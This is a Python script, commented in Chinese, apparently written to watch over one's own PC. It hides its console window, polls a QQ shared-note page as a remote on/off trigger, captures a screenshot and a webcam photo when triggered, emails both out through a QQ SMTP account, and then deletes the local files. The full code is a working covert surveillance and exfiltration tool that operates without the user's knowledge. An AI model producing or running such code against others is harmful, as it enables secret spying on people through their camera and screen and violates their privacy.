import ctypes
import sys
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.header import Header
import pyautogui
import os
import cv2
import socket
import time
import requests
from bs4 import BeautifulSoup

# 隐藏控制台窗口（仅限Windows）
if sys.platform.startswith('win'):
    SW_HIDE = 0
    info = ctypes.windll.kernel32.GetConsoleWindow()
    if info != 0:
        ctypes.windll.user32.ShowWindow(info, SW_HIDE)

# 邮件配置信息
sender_receiver = '12346@qq.com'  # 替换为你的邮箱
smtp_info = {
    'server': 'smtp.qq.com',
    'port': 465,  # 使用SSL
    'username': '123456@qq.com',  # 替换为你的邮箱
    'password': '12346ssfd',  # 替换为你的邮箱密码或授权码
}

# 邮件内容设置
subject = '有人打开了你的电脑'
body = '您的电脑已被开启，并有摄像头记录，请留意。'

# 图片保存路径
screenshot_path = "D:\\screenshot.jpg"
camera_capture_path = "D:\\camera_capture.jpg"

# 网址和监控的值
url = "https://sharechain.qq.com/2637502c909fa776c196c3231b036e26"  # 替换为你的qq收藏里文本连接
target_value = "1" #数值 1的时候拍照2的时候不拍照（这是qq收藏笔记里面的标题数值）
last_value = None

def capture_screenshot(path):
    """捕获屏幕截图并保存"""
    pyautogui.screenshot(path)
    print(f"屏幕截图已保存至{path}")

def capture_image_from_camera(path):
    """使用摄像头捕获单帧图像并保存"""
    cap = cv2.VideoCapture(0)
    if cap.isOpened():
        ret, frame = cap.read()
        cap.release()
        if ret:
            cv2.imwrite(path, frame)
            print(f"摄像头图像已保存至{path}")
        else:
            print("捕获图像失败")
    else:
        print("无法打开摄像头")

def send_email_with_attachments(screenshot_path, camera_capture_path):
    """发送带有附件的邮件"""
    msg = MIMEMultipart()
    msg['From'] = Header(sender_receiver)
    msg['To'] = Header(sender_receiver)
    msg['Subject'] = Header(subject)
    msg.attach(MIMEText(body, 'plain', 'utf-8'))

    # 添加附件
    for path in [screenshot_path, camera_capture_path]:
        with open(path, 'rb') as file:
            part = MIMEImage(file.read(), name=os.path.basename(path))
            msg.attach(part)

    try:
        with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server:
            server.login(smtp_info['username'], smtp_info['password'])
            server.sendmail(sender_receiver, sender_receiver, msg.as_string())
            server.quit()
        print("邮件发送成功，包含屏幕截图及摄像头捕捉图像！")
    except Exception as e:
        print(f"邮件发送失败: {e}")

def is_connected():
    """检查网络连接"""
    try:
        socket.create_connection(('8.8.8.8', 53), 2)  # 设置超时时间为2秒
        return True
    except OSError:
        return False

def check_url():
    """检查网址内容"""
    global last_value
    try:
        response = requests.get(url, timeout=5)  # 设置超时时间为5秒
        if response.status_code == 200:
            soup = BeautifulSoup(response.text, 'html.parser')
            info_div = soup.find('div', class_='info')
            if info_div:
                span_text = info_div.find('span', class_='tit').text.strip()
                print(f"网页内容识别结果：{span_text}")
                if span_text == f"【{target_value}】" and span_text != last_value:
                    last_value = span_text
                    return True
            else:
                print("未识别")
                return False
        else:
            print("网页内容未找到")
            return False
    except requests.RequestException as e:
        print(f"请求错误：{e}")
        return False

def main():
    global last_value
    last_value = None
    while True:
        if check_url():
            capture_screenshot(screenshot_path)
            capture_image_from_camera(camera_capture_path)
            
            print("等待网络连接...")
            if not is_connected():
                print("网络连接失败，请检查您的网络设置。")
                time.sleep(60)  # 如果网络连接失败，等待60秒后重试
                continue  # 跳过本次循环
            
            send_email_with_attachments(screenshot_path, camera_capture_path)
            # 可选：发送邮件后删除图片文件
            os.remove(screenshot_path)
            os.remove(camera_capture_path)
        time.sleep(20)  # 每20秒检查一次网址内容

if __name__ == "__main__":
    main()